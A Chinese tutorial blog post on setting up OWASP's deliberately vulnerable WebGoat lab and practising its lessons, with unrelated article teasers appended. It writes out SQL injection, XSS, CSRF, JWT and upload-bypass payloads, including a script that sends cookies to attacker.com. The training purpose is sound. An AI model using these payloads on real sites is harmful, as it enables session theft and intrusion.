WebGoat 环境搭建及实战完全指南

优质文章学习记录

— 9 min read

WebGoat 环境搭建及实战完全指南

WebGoat 是由 OWASP 维护的、故意设计不安全的 Web 应用程序，专门用于教学 Web 应用安全漏洞和防御技术。

📚 WebGoat 概述

官方地址：https://github.com/WebGoat/WebGoat

特点：

  • 完全免费开源
  • 包含 100+ 个安全漏洞练习
  • 每个课程都有详细指导
  • 支持多语言（包括中文）
  • 实时反馈和得分系统
  • 适合从初学者到专家的所有级别

🚀 环境搭建方法

方法1：使用 Docker（推荐）

# 1. 安装 Docker（如未安装）# Linuxsudoapt-get update sudoapt-getinstall docker.io docker-compose# 2. 拉取 WebGoat 镜像docker pull webgoat/webgoat # 3. 运行 WebGoat# 方式一：直接运行docker run -d-p8080:8080 -p9090:9090 -eTZ=Asia/Shanghai webgoat/webgoat # 方式二：使用 docker-compose（推荐）cat> docker-compose.yml <<'EOF' version: '3' services: webgoat: image: webgoat/webgoat:latest container_name: webgoat ports: - "8080:8080" - "9090:9090" environment: - TZ=Asia/Shanghai - WEBGOAT_HOST=0.0.0.0 restart: unless-stopped EOFdocker-compose up -d# 4. 验证安装dockerpscurl http://localhost:8080/WebGoat

方法2：本地 Jar 包运行

# 1. 下载最新版本# 访问 https://github.com/WebGoat/WebGoat/releases# 下载 webgoat-server-xx.x.x.jar 和 webwolf-xx.x.x.jar# 2. 运行 WebGoat（需要 Java 11+）java-jar webgoat-server-xx.x.x.jar --server.port=8080# 3. 运行 WebWolf（独立工具）java-jar webwolf-xx.x.x.jar --server.port=9090# 或者使用官方启动脚本git clone https://github.com/WebGoat/WebGoat.git cd WebGoat ./mvnw clean package java-jar webgoat-server/target/*.jar

方法3：源代码编译运行

# 1. 克隆仓库git clone https://github.com/WebGoat/WebGoat.git cd WebGoat # 2. 编译（需要 Maven 和 Java 11+） ./mvnw clean compile # 3. 运行 ./mvnw spring-boot:run -pl webgoat-server # 4. 访问# WebGoat: http://localhost:8080/WebGoat# WebWolf: http://localhost:9090/WebWolf

方法4：使用 Kali Linux 预装版本

# Kali Linux 通常预装了 WebGoat# 启动 WebGoatservice webgoat start # 或者手动启动cd /usr/share/webgoat java-jar webgoat-server-*.jar # 访问：https://localhost:8080/WebGoat

🌐 访问和初始配置

# 默认访问地址 WebGoat: http://localhost:8080/WebGoat WebWolf: http://localhost:9090/WebWolf # 首次访问配置1. 打开浏览器访问 http://localhost:8080/WebGoat 2. 创建新用户或使用默认： - 用户名：webgoat - 密码：webgoat 3. 选择语言（支持中文） 4. 开始课程

🎯 课程分类详解

WebGoat 课程分为多个类别，从易到难：

1. 通用漏洞系列

A1：注入漏洞 - SQL 注入（基础） - SQL 注入（进阶） - NoSQL 注入 - 命令注入 - XXE 注入 A2：失效的身份认证 - 身份认证绕过 - JWT 令牌安全 - 密码重置漏洞 - 安全提问绕过 A3：敏感数据泄露 - 不安全的加密 - 弱哈希算法 - JWT 密钥泄露 A7：跨站脚本（XSS） - 反射型 XSS - 存储型 XSS - DOM 型 XSS - 防御方法 A8：不安全的反序列化 - Java 反序列化 - 远程代码执行

2. 高级漏洞系列

A4：外部实体（XXE） - XXE 读取文件 - XXE 盲注 - XXE 防御 A5：失效的访问控制 - 水平越权 - 垂直越权 - IDOR 漏洞 - JWT 篡改 A6：安全配置错误 - 目录遍历 - 敏感文件泄露 - 安全头部缺失 A9：使用含有已知漏洞的组件 - 依赖库漏洞 - 版本检测

3. 挑战系列

WebWolf 挑战 - 文件上传绕过 - 邮件钓鱼 - 重定向漏洞 CTF 风格挑战 - 综合漏洞利用 - 多步骤攻击链

🔍 实战演练：SQL 注入专题

练习1：基础 SQL 注入

-- 1. 访问 SQL Injection (intro)-- 课程位置：A1 → SQL Injection (intro)-- 2. 基础注入练习-- 输入：' OR '1'='1SELECT*FROM users WHERE name =''OR'1'='1';-- 3. 获取所有用户-- 输入：' OR 1=1 --SELECT*FROM users WHERE name =''OR1=1--';-- 4. 联合查询注入-- 输入：' UNION SELECT 1,2 --SELECT*FROM products WHERE name =''UNIONSELECT1,2--';-- 5. 获取数据库信息-- 输入：' UNION SELECT version(),database() --

练习2：盲注攻击

-- 1. 布尔盲注-- 判断数据库类型' AND (SELECT substring(version(),1,1))='5' -- -- 2. 时间盲注 -- MySQL：使用 sleep() 函数 'ANDIF(1=1,SLEEP(5),0)---- 3. 自动化工具使用# 使用 sqlmap sqlmap -u "http://localhost:8080/WebGoat/SqlInjection/attack5a" \ --data="name=test" \--level=3 \--risk=2 \--dbs

练习3：SQL 注入防御

// 查看防御代码示例// 1. 使用预编译语句String sql ="SELECT * FROM users WHERE username = ?";PreparedStatement stmt = connection.prepareStatement(sql); stmt.setString(1, username);// 2. 使用存储过程// 3. 输入验证和过滤// 4. 最小权限原则

🛠️ XSS 漏洞实战

反射型 XSS

// 1. 基础 payload<script>alert('XSS')</script>// 2. 绕过简单过滤<ScRiPt>alert('XSS')</ScRiPt><img src=x onerror=alert('XSS')>// 3. 窃取 Cookie<script> document.location='http://attacker.com/steal?cookie='+document.cookie </script>

存储型 XSS

// 1. 在评论中注入<iframe src="javascript:alert('XSS')">// 2. 结合 CSRF<script>fetch('/transfer?to=hacker&amount=1000',{method:'POST'})</script>

DOM 型 XSS

// 1. 利用 URL 片段http://target.com/#<script>alert('XSS')</script>// 2. 利用 innerHTML document.getElementById('content').innerHTML = userInput;// 防御：使用 textContent 代替

🔑 身份认证漏洞实战

JWT 令牌攻击

// 1. 解码 JWT// 使用 jwt.io 在线解码// 2. 无签名攻击（alg: none）// 修改 JWT 头部为 { "alg": "none" }// 删除签名部分// 3. 密钥爆破// 使用 hashcat hashcat -a 0-m 16500 jwt.txt wordlist.txt // 4. 密钥混淆攻击// 使用 HS256 但验证时使用 RS256

密码重置漏洞

# 1. 修改 Host 头 POST /reset-password HTTP/1.1 Host: attacker.com X-Forwarded-Host: attacker.com # 2. 密码重置令牌泄露 # 查看页面源码、JS文件、网络请求 # 3. 时间窗口攻击 # 快速使用重置链接

📁 文件上传漏洞实战

绕过文件类型检查

# 1. 修改 Content-Type# 上传 PHP 文件，但 Content-Type: image/jpeg# 2. 双扩展名 shell.php.jpg shell.php%00.jpg # 3. 大小写绕过 shell.PhP shell.pHp5 # 4. 特殊字符 shell.php. shell.php空格

WebWolf 文件上传挑战

# 1. 访问 WebWolf http://localhost:9090/WebWolf # 2. 上传恶意文件# 3. 使用重定向获取文件<img src="http://localhost:9090/files/your-file"># 4. 组合 XSS<iframe src="http://localhost:9090/files/steal-cookie.js">

🛡️ WebGoat 防御练习

输入验证防御

// 1. 白名单验证if(!input.matches("^[a-zA-Z0-9]+$")){thrownewValidationException("非法输入");}// 2. 输出编码String safeOutput =ESAPI.encoder().encodeForHTML(userInput);// 3. 使用安全框架// Spring Security 的 CSRF 保护// OWASP ESAPI 库

安全配置

# application.yml 安全配置security:headers:content-security-policy:"default-src 'self'"x-frame-options: DENY x-content-type-options: nosniff csrf:enabled:true

🔧 工具集成和自动化

Burp Suite 配置

# 1. 配置代理 Proxy → Options → Add -Bind to port:8081-Bind to address: 127.0.0.1 # 2. 浏览器设置代理# Firefox/Chrome: 127.0.0.1:8081# 3. 拦截 WebGoat 请求# 查看和修改请求/响应# 4. 使用 Intruder 爆破

OWASP ZAP 集成

# 1. 启动 ZAP zap.sh # 2. 配置上下文# 设置目标 URL: http://localhost:8080/WebGoat# 3. 自动扫描# 主动扫描和被动扫描# 4. 生成报告

📊 学习路径建议

阶段1：基础（1-2周）

1. SQL Injection (intro) - 3天 2. Cross-Site Scripting (XSS) - 3天 3. Path Traversal - 2天 4. Authentication Flaws - 2天

阶段2：进阶（2-3周）

1. SQL Injection (advanced) - 4天 2. XXE Injection - 3天 3. JWT Tokens - 3天 4. Insecure Deserialization - 3天

阶段3：综合（1-2周）

1. WebWolf Challenges - 全部完成 2. Secure Coding Lessons - 学习防御 3. 创建自己的漏洞环境

💡 最佳实践和学习技巧

学习方法

1. **理论+实践结合** - 先理解漏洞原理 - 再动手实践 - 最后查看官方解法 2. **记笔记和思维导图** - 记录每个漏洞的原理 - 记录攻击步骤 - 记录防御方法 3. **使用多种工具** - 手动测试理解原理 - 使用工具提高效率 - 比较不同工具的效果

调试技巧

// 1. 查看后端代码// WebGoat 是开源的，可以查看源代码理解逻辑// 2. 使用开发者工具// - F12 打开开发者工具// - Network 标签查看请求// - Console 执行 JavaScript// - Sources 查看前端代码// 3. 日志查看 # 查看 WebGoat 日志 docker logs webgoat # 或者运行时查看 java -jar webgoat-server.jar --debug

🆘 故障排除

常见问题1：无法启动

# 检查 Java 版本（需要 Java 11+）java-version# 检查端口占用netstat-tlnp|grep8080# 或修改端口java-jar webgoat-server.jar --server.port=8081# Docker 容器问题docker logs webgoat-container docker-compose logs -f

常见问题2：课程无法完成

# 解决方法： 1. 仔细阅读题目描述 2. 查看页面源代码 3. 使用浏览器开发者工具 4. 查看网络请求 5. 参考官方文档 6. 使用 WebGoat 的提示功能

常见问题3：性能问题

# 调整 JVM 参数java-Xms512m-Xmx1024m-jar webgoat-server.jar # Docker 资源限制docker run -d-m 1g --cpus="1.0" webgoat/webgoat

📈 进阶学习资源

扩展工具

1. **SQLMap** - SQL 注入自动化 2. **XSStrike** - XSS 检测 3. **JWT_Tool** - JWT 攻击工具 4. **FFUF** - Web 目录爆破 5. **Nuclei** - 漏洞扫描

相关项目

1. **WebGoat.NET** - .NET 版本 2. **DVWA** - 另一个漏洞环境 3. **bWAPP** - 包含更多漏洞类型 4. **Juice Shop** - 现代 Web 应用靶场

认证和学习路径

1. **OWASP Top 10** - 掌握所有漏洞类型 2. **OSWE** - 高级 Web 渗透认证 3. **Burp Suite Certified Practitioner** - Burp 专业认证

🎮 挑战任务

任务1：完成所有基础课程

目标：30天内完成所有 A1-A10 基础课程 奖励：深入理解 OWASP Top 10

任务2：不查看源码完成挑战

目标：仅通过黑盒测试完成 WebWolf 挑战 奖励：提升实战测试能力

任务3：编写自己的漏洞场景

目标：基于 WebGoat 框架开发一个新漏洞练习 奖励：深入理解漏洞原理和代码实现

重要提醒：

  1. WebGoat 仅在本地或授权环境中使用
  2. 学到的技术仅用于合法的安全测试
  3. 尊重他人隐私和系统安全
  4. 遵守网络安全法律法规

开始你的 WebGoat 之旅：
从最简单的 SQL 注入开始，逐步挑战更复杂的漏洞类型。每个课程都是一次学习机会，失败不可怕，重要的是从中学到东西。祝你学习顺利！

Read more

WebStorm对个人免费开放

WebStorm对个人免费开放

前端开发的普惠革命：JetBrains WebStorm 非商业免费政策深度解析 2024 年 10 月 24 日，正值程序员节来临之际，JetBrains 抛出重磅消息：旗下旗舰级前端开发 IDE WebStorm 正式对非商业用途用户全面免费开放。这一举措不仅延续了 RustRover 的免费许可模式，更标志着专业级 Web 开发工具向大众化普及迈出了关键一步，为全球千万前端开发者带来了实质性利好。 一、政策内核：清晰界定的免费边界与权益 1. 非商业用途的精准定义 JetBrains 在 Toolbox 订阅协议中明确划分了免费使用的适用场景，覆盖群体远超传统教育优惠范畴： * 核心免费场景：包括前端技术学习与技能提升、无商业收益的开源项目贡献、技术博客 / 视频教程等内容创作、个人兴趣导向的 Web 开发（如自制工具、创意 demo）。值得注意的是，即使内容创作通过广告产生间接收益，仍属于非商业范畴。 * 商业付费边界：任何直接或间接获取经济收益的开发活动均需付费，

ClawdBot入门指南：Web控制台Config→Models→Providers模型切换实操

ClawdBot入门指南：Web控制台Config→Models→Providers模型切换实操 1. 什么是ClawdBot？一个真正属于你的本地AI助手 ClawdBot不是另一个云端API调用工具，也不是需要反复注册、绑定手机号的SaaS服务。它是一个能完整运行在你自己的设备上的个人AI助手——从模型推理、对话管理到多渠道接入，全部离线可控。 它的后端核心由vLLM驱动，这意味着你能享受到接近商用级的推理速度和显存利用率，同时完全掌握数据主权。不需要上传任何聊天记录，不依赖外部服务器稳定性，也不用担心某天服务突然下线。你装好，它就在；你关机，它就停；你改配置，它立刻响应。 更关键的是，ClawdBot的设计哲学是「可理解、可调试、可演进」。它的配置不是藏在层层GUI背后的黑盒，而是以清晰结构化的JSON文件呈现；它的模型切换不靠神秘按钮，而是一次明确的路径导航：Config → Models → Providers；它的扩展不依赖插件市场，而是通过标准OpenAI兼容接口，轻松对接你本地部署的任意vLLM、Ollama或FastChat服务。 换句话说，ClawdBo
和智慧生活商城系统信息管理系统源码-SpringBoot后端+Vue前端+MySQL【可直接运行】

和智慧生活商城系统信息管理系统源码-SpringBoot后端+Vue前端+MySQL【可直接运行】

💡实话实说： C有自己的项目库存，不需要找别人拿货再加价。 摘要 随着信息技术的飞速发展和电子商务的普及，智慧生活商城系统逐渐成为现代商业运营的重要组成部分。传统的商城管理模式面临着效率低下、数据冗余、用户体验差等诸多问题，亟需通过信息化手段进行优化升级。智慧生活商城系统旨在整合线上线下资源，为用户提供便捷、高效的购物体验，同时为商家提供智能化的管理工具。该系统通过先进的信息管理系统，实现商品管理、订单处理、用户交互等核心功能的自动化与智能化，从而提升整体运营效率和服务质量。关键词：智慧生活商城、信息管理系统、电子商务、智能化、SpringBoot。 智慧生活商城系统采用SpringBoot作为后端框架，结合Vue.js前端技术和MySQL数据库，构建了一套高效、稳定、可扩展的全栈解决方案。SpringBoot提供了强大的后端支持，简化了开发流程，提高了系统的可维护性；Vue.js则以其响应式特性和组件化开发模式，为用户提供了流畅的交互体验；MySQL作为关系型数据库，确保了数据的安全性和一致性。系统功能涵盖用户管理、商品分类与展示、购物车与订单管理、支付集成以及数据分析等模
前端GEO优化：AI时代的SEO新战场

前端GEO优化：AI时代的SEO新战场

前端工程师的GEO入门指南：在AI搜索时代优化内容可见度 1. 什么是GEO？前端为何要关注？ 作为前端开发者，你可能已经熟悉SEO（搜索引擎优化），但GEO（生成式引擎优化）是一个新概念。简单来说，GEO是通过优化内容结构、语义表达和技术特征，提高其被ChatGPT、文心一言等大语言模型在生成回答时检索到、理解和引用的概率。 前端工作者需要关注GEO，因为：我们的工作不再只是让内容对人类友好，还需要让AI易于理解和引用。当用户向AI提问时，你的内容能否成为AI答案的引用来源，直接决定了你在AI时代的可见度。 2. GEO与传统SEO的核心区别 理解GEO与SEO的差异是学习的第一步： 维度传统SEOGEO（生成式引擎优化）目标提升搜索引擎排名提升内容被AI引用的概率优化对象搜索引擎爬虫和排名算法AI大模型（如GPT-4等）内容偏好关键词密度、外链数量语义相关性、内容权威性成功指标关键词排名、点击率AI引用频率、品牌提及量 前端工作在GEO时代的变化：我们不再只是优化标签和关键词，而是需要让内容机器可读性更强，结构化更清晰。 3. 前端工作者必备的GEO核